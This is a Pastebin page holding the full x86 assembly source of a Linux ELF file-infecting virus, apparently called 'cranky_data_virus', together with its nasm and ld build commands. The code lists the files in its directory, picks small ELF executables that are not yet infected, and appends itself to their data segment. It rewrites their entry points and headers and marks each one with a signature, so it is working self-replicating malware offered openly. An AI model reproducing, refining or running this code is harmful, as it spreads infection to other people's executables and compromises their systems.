Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ;; nasm -f elf -F dwarf -g cranky_data_virus.asm
- ;; ld -m elf_i386 -e v_start -o cranky_data_virus cranky_data_virus.o
- section .text
- global v_start
- v_start:
- ; virus body start
- ; make space in the stack for some uninitialized variables to avoid a .bss section
- mov ecx, 2328 ; set counter to 2328 (x4 = 9312 bytes). filename (esp), buffer (esp+32), targets (esp+1056), targetfile (esp+2080)
- loop_bss:
- push 0x00 ; reserve 4 bytes (double word) of 0's
- sub ecx, 1 ; decrement our counter by 1
- cmp ecx, 0
- jbe loop_bss
- mov edi, esp ; esp has our fake .bss offset. Let's store it in edi for now.
- call folder
- db ".", 0
- folder:
- pop ebx ; name of the folder
- mov esi, 0 ; reset offset for targets
- mov eax, 5 ; sys_open
- mov ecx, 0
- mov edx, 0
- int 80h
- cmp eax, 0 ; check if fd in eax > 0 (ok)
- jbe v_stop ; cannot open file. Exit virus
- mov ebx, eax
- mov eax, 0xdc ; sys_getdents64
- mov ecx, edi ; fake .bss section
- add ecx, 32 ; offset for buffer
- mov edx, 1024
- int 80h
- mov eax, 6 ; close
- int 80h
- xor ebx, ebx ; zero out ebx as we will use it as the buffer offset
- find_filename_start:
- ; look for the sequence 0008 which occurs before the start of a filename
- inc ebx
- cmp ebx, 1024
- jge infect
- cmp byte [edi+32+ebx], 0x00 ; edi+32 is buffer
- jnz find_filename_start
- inc ebx
- cmp byte [edi+32+ebx], 0x08 ; edi+32 is buffer
- jnz find_filename_start
- xor ecx, ecx ; clear out ecx which will be our offset for file
- mov byte [edi+ecx], 0x2e ; prepend file with ./ for full path (.) edi is filename
- inc ecx
- mov byte [edi+ecx], 0x2f ; prepend file with ./ for full path (/) edi is filename
- inc ecx
- find_filename_end:
- ; look for the 00 which denotes the end of a filename
- inc ebx
- cmp ebx, 1024
- jge infect
- push esi ; save our target offset
- mov esi, edi ; fake .bss
- add esi, 32 ; offset for buffer
- add esi, ebx ; set source
- push edi ; save our fake .bss
- add edi, ecx ; set destination to filename
- movsb ; moved byte from buffer to filename
- pop edi ; restore our fake .bss
- pop esi ; restore our target offset
- inc ecx ; increment offset stored in ecx
- cmp byte [edi+32+ebx], 0x00 ; denotes end of the filename
- jnz find_filename_end
- mov byte [edi+ecx], 0x00 ; we have a filename. Add a 0x00 to the end of the file buffer
- push ebx ; save our offset in buffer
- call scan_file
- pop ebx ; restore our offset in buffer
- jmp find_filename_start ; find next file
- scan_file:
- ; check the file for infectability
- mov eax, 5 ; sys_open
- mov ebx, edi ; path (offset to filename)
- mov ecx, 0 ; O_RDONLY
- int 80h
- cmp eax, 0 ; check if fd in eax > 0 (ok)
- jbe return ; cannot open file. Return
- mov ebx, eax ; fd
- mov eax, 3 ; sys_read
- mov ecx, edi ; address struct
- add ecx, 2080 ; offset to targetfile in fake .bss
- mov edx, 12 ; all we need are 4 bytes to check for the ELF header but 12 bytes to find signature
- int 80h
- call elfheader
- dd 0x464c457f ; 0x7f454c46 -> .ELF (but reversed for endianness)
- elfheader:
- pop ecx
- mov ecx, dword [ecx]
- cmp dword [edi+2080], ecx ; this 4 byte header indicates ELF! (dword). edi+2080 is offset to targetfile in fake .bss
- jnz close_file ; not an executable ELF binary. Return
- ; check if infected
- mov ecx, 0x001edd0e ; 0x0edd1e00 signature reversed for endianness
- cmp dword [edi+2080+8], ecx ; signature should show up after the 8th byte. edi+2080 is offset to targetfile in fake .bss
- jz close_file ; signature exists. Already infected. Close file.
- save_target:
- ; good target! save filename
- push esi ; save our targets offset
- push edi ; save our fake .bss
- mov ecx, edi ; temporarily place filename offset in ecx
- add edi, 1056 ; offset to targets in fake .bss
- add edi, esi
- mov esi, ecx ; filename -> edi -> ecx -> esi
- mov ecx, 32
- rep movsb ; save another target filename in targets
- pop edi ; restore our fake .bss
- pop esi ; restore our targets offset
- add esi, 32
- close_file:
- mov eax, 6
- int 80h
- return:
- ret
- infect:
- ; let's infect these targets!
- cmp esi, 0
- jbe v_stop ; there are no targets :( exit
- sub esi, 32
- mov eax, 5 ; sys_open
- mov ebx, edi ; path
- add ebx, 1056 ; offset to targets in fake .bss
- add ebx, esi ; offset of next filename
- mov ecx, 2 ; O_RDWR
- int 80h
- mov ebx, eax ; fd
- mov ecx, edi
- add ecx, 2080 ; offset to targetfile in fake .bss
- reading_loop:
- mov eax, 3 ; sys_read
- mov edx, 1 ; read 1 byte at a time (yeah, I know this can be optimized)
- int 80h
- cmp eax, 0 ; if this is 0, we've hit EOF
- je reading_eof
- mov eax, edi
- add eax, 9312 ; 2080 + 7232
- cmp ecx, eax ; if the file is over 7232 bytes, let's quit
- jge infect
- add ecx, 1
- jmp reading_loop
- reading_eof:
- push ecx ; store address of last byte read. We'll need this later
- mov eax, 6 ; close file
- int 80h
- xor ecx, ecx
- xor eax, eax
- mov cx, word [edi+2080+44] ; ehdr->phnum (number of program header entries)
- mov eax, dword [edi+2080+28] ; ehdr->phoff (program header offset)
- sub ax, word [edi+2080+42] ; subtract 32 (size of program header entry) to initialize loop
- program_header_loop:
- ; loop through program headers and find the data segment (PT_LOAD, offset>0)
- ;0 p_type type of segment
- ;+4 p_offset offset in file where to start the segment at
- ;+8 p_vaddr his virtual address in memory
- ;+c p_addr physical address (if relevant, else equ to p_vaddr)
- ;+10 p_filesz size of datas read from offset
- ;+14 p_memsz size of the segment in memory
- ;+18 p_flags segment flags (rwx perms)
- ;+1c p_align alignement
- add ax, word [edi+2080+42]
- cmp ecx, 0
- jbe infect ; couldn't find data segment. let's close and look for next target
- sub ecx, 1 ; decrement our counter by 1
- mov ebx, dword [edi+2080+eax] ; phdr->type (type of segment)
- cmp ebx, 0x01 ; 0: PT_NULL, 1: PT_LOAD, ...
- jne program_header_loop ; it's not PT_LOAD. look for next program header
- mov ebx, dword [edi+2080+eax+4] ; phdr->offset (offset of program header)
- cmp ebx, 0x00 ; if it's 0, it's the text segment. Otherwise, we found the data segment
- je program_header_loop ; it's the text segment. We're interested in the data segment
- mov ebx, dword [edi+2080+24] ; old entry point
- push ebx ; save the old entry point
- mov ebx, dword [edi+2080+eax+4] ; phdr->offset (offset of program header)
- mov edx, dword [edi+2080+eax+16] ; phdr->filesz (size of segment on disk)
- add ebx, edx ; offset of where our virus should reside = phdr[data]->offset + p[data]->filesz
- push ebx ; save the offset of our virus
- mov ebx, dword [edi+2080+eax+8] ; phdr->vaddr (virtual address in memory)
- add ebx, edx ; new entry point = phdr[data]->vaddr + p[data]->filesz
- mov ecx, 0x001edd0e ; insert our signature at byte 8 (unused section of the ELF header)
- mov [edi+2080+8], ecx
- mov [edi+2080+24], ebx ; overwrite the old entry point with the virus (in buffer)
- add edx, v_stop - v_start ; add size of our virus to phdr->filesz
- add edx, 7 ; for the jmp to original entry point
- mov [edi+2080+eax+16], edx ; overwrite the old phdr->filesz with the new one (in buffer)
- mov ebx, dword [edi+2080+eax+20] ; phdr->memsz (size of segment in memory)
- add ebx, v_stop - v_start ; add size of our virus to phdr->memsz
- add ebx, 7 ; for the jmp to original entry point
- mov [edi+2080+eax+20], ebx ; overwrite the old phdr->memsz with the new one (in buffer)
- xor ecx, ecx
- xor eax, eax
- mov cx, word [edi+2080+48] ; ehdr->shnum (number of section header entries)
- mov eax, dword [edi+2080+32] ; ehdr->shoff (section header offset)
- sub ax, word [edi+2080+46] ; subtract 40 (size of section header entry) to initialize loop
- section_header_loop:
- ; loop through section headers and find the .bss section (NOBITS)
- ;0 sh_name contains a pointer to the name string section giving the
- ;+4 sh_type give the section type [name of this section
- ;+8 sh_flags some other flags ...
- ;+c sh_addr virtual addr of the section while running
- ;+10 sh_offset offset of the section in the file
- ;+14 sh_size zara white phone numba
- ;+18 sh_link his use depends on the section type
- ;+1c sh_info depends on the section type
- ;+20 sh_addralign alignement
- ;+24 sh_entsize used when section contains fixed size entrys
- add ax, word [edi+2080+46]
- cmp ecx, 0
- jbe finish_infection ; couldn't find .bss section. Nothing to worry about. Finish the infection
- sub ecx, 1 ; decrement our counter by 1
- mov ebx, dword [edi+2080+eax+4] ; shdr->type (type of section)
- cmp ebx, 0x00000008 ; 0x08 is NOBITS which is an indicator of a .bss section
- jne section_header_loop ; it's not the .bss section
- mov ebx, dword [edi+2080+eax+12] ; shdr->addr (virtual address in memory)
- add ebx, v_stop - v_start ; add size of our virus to shdr->addr
- add ebx, 7 ; for the jmp to original entry point
- mov [edi+2080+eax+12], ebx ; overwrite the old shdr->addr with the new one (in buffer)
- section_header_loop_2:
- mov edx, dword [edi+2080+eax+16] ; shdr->offset (offset of section)
- add edx, v_stop - v_start ; add size of our virus to shdr->offset
- add edx, 7 ; for the jmp to original entry point
- mov [edi+2080+eax+16], edx ; overwrite the old shdr->offset with the new one (in buffer)
- add eax, 40
- sub ecx, 1
- cmp ecx, 0
- jg section_header_loop_2 ; this loop isn't necessary to make the virus function, but inspecting the host file with a readelf -a shows a clobbered symbol table and section/segment mapping
- finish_infection:
- ;dword [edi+2080+24] ; ehdr->entry (virtual address of entry point)
- ;dword [edi+2080+28] ; ehdr->phoff (program header offset)
- ;dword [edi+2080+32] ; ehdr->shoff (section header offset)
- ;word [edi+2080+40] ; ehdr->ehsize (size of elf header)
- ;word [edi+2080+42] ; ehdr->phentsize (size of one program header entry)
- ;word [edi+2080+44] ; ehdr->phnum (number of program header entries)
- ;word [edi+2080+46] ; ehdr->shentsize (size of one section header entry)
- ;word [edi+2080+48] ; ehdr->shnum (number of program header entries)
- mov eax, v_stop - v_start ; size of our virus minus the jump to original entry point
- add eax, 7 ; for the jmp to original entry point
- mov ebx, dword [edi+2080+32] ; the original section header offset
- add eax, ebx ; add the original section header offset
- mov [edi+2080+32], eax ; overwrite the old section header offset with the new one (in buffer)
- mov eax, 5 ; sys_open
- mov ebx, edi ; path
- add ebx, 1056 ; offset to targets in fake .bss
- add ebx, esi ; offset of next filename
- mov ecx, 2 ; O_RDWR
- int 80h
- mov ebx, eax ; fd
- mov eax, 4 ; sys_write
- mov ecx, edi
- add ecx, 2080 ; offset to targetfile in fake .bss
- pop edx ; host file up to the offset where the virus resides
- int 80h
- mov [edi+7], edx ; place the offset of the virus in this unused section of the filename buffer
- call delta_offset
- delta_offset:
- pop ebp ; we need to calculate our delta offset because the absolute address of v_start will differ in different host files. This will be 0 in our original virus
- sub ebp, delta_offset
- mov eax, 4
- lea ecx, [ebp + v_start] ; attach the virus portion (calculated with the delta offset)
- mov edx, v_stop - v_start ; size of virus bytes
- int 80h
- pop edx ; original entry point of host (we'll store this double word in the same location we used for the 32 byte filename)
- mov [edi], byte 0xb8 ; op code for MOV EAX (1 byte)
- mov [edi+1], edx ; original entry point (4 bytes)
- mov [edi+5], word 0xe0ff ; op code for JMP EAX (2 bytes)
- mov eax, 4
- mov ecx, edi ; offset to filename in fake .bss
- mov edx, 7 ; 7 bytes for the final jmp to the original entry point
- int 80h
- mov eax, 4 ; sys_write
- mov ecx, edi
- add ecx, 2080 ; offset to targetfile in fake .bss
- mov edx, dword [edi+7] ; offset of the virus
- add ecx, edx ; let's continue where we left off
- pop edx ; offset of last byte in targetfile in fake.bss
- sub edx, ecx ; length of bytes to write
- int 80h
- mov eax, 36 ; sys_sync
- int 80h
- mov eax, 6 ; close file
- int 80h
- jmp infect
- v_stop:
- ; virus body stop (host program start)
- mov eax, 1 ; sys_exit
- mov ebx, 0 ; normal status
- int 80h
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement